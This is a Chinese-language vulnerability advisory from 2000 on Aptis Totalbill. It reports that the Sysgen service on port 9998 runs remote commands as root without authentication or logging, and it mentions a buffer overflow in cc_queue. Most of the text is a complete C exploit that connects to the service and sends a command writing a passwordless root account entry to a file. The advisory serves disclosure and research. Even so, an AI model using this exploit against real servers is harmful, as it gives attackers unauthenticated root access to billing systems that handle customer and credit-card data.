Aptis Software Totalbill 远程命令执行漏洞
发布日期:2000-08-30
更新日期:2000-08-30
受影响系统:
Aptis Software Totalbill
描述:
Totalbill是一套供ISP使用的记账系统。它会在用户的mail和radius服务器上安装一个
Sysgen程序,它监听9998端口(这个端口部是固定的),它会处理发送来的命令。然而
它没有任何记录和认证措施,因此,任何人都可以远程以root身份执行命令而且不会被
记录。另外,处理信用卡交易的cc_queue程序也存在一个缓冲区溢出问题。
<*来源:Brian Masney (
masneyb@SEUL.ORG) *>
测试方法:
警 告
以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!
#include <stdio.h>
#include <errno.h>
#include <unistd.h>
#include <string.h>
#include <netdb.h>
#include <netinet/in.h>
#include <sys/socket.h>
#define TOTALBILL_PORT 9998
#define TOTALBILL_SERVER "" /* Insert hostname here */
int main (void)
{
struct sockaddr_in servaddr;
char *tempstr, buf[8192];
struct hostent *host;
int sockfd;
if ((sockfd = socket (AF_INET, SOCK_STREAM, IPPROTO_TCP)) < 0)
{
fprintf (stderr, "Error: Could not create a socket: %s\n",
strerror (errno));
return (1);
}
memset (&servaddr, 0, sizeof (servaddr));
servaddr.sin_family = AF_INET;
servaddr.sin_port = htons (TOTALBILL_PORT);
if ((host = gethostbyname (TOTALBILL_SERVER)) == NULL)
{
fprintf (stderr, "Error: Could not look up %s\n", TOTALBILL_SERVER);
return (1);
}
memcpy (&servaddr.sin_addr, host->h_addr_list[0], host->h_length);
if (connect (sockfd, (struct sockaddr *) &servaddr, sizeof (servaddr)) < 0)
{
fprintf (stderr, "Error: Cannot connect to %s: %s\n",
TOTALBILL_SERVER,
strerror (errno));
return (1);
}
tempstr = "123456 execute execute
execute=/bin/echo+root::0:0::/:/bin/sh+>+/rootfile";
printf ("Sending command %s to %s\n", tempstr, TOTALBILL_SERVER);
if (write (sockfd, tempstr, strlen (tempstr) + 1) < 0)
{
fprintf (stderr, "Error: Cannot write to socket: %s\n", strerror
(errno));
return (1);
}
printf ("Sent...waiting for response...NSFORTH\n");
if (read (sockfd, buf, sizeof (buf)) < 0)
{
fprintf (stderr, "Error: Cannot read from socket: %s\n", strerror
(errno));
return (1);
}
printf ("Received %s from server\n", buf);
close (sockfd);
return (0);
}
建议:
暂无,等待厂商提供补丁:
http://www.aptissoftware.com/
浏览次数:5998
严重程度:0(网友投票)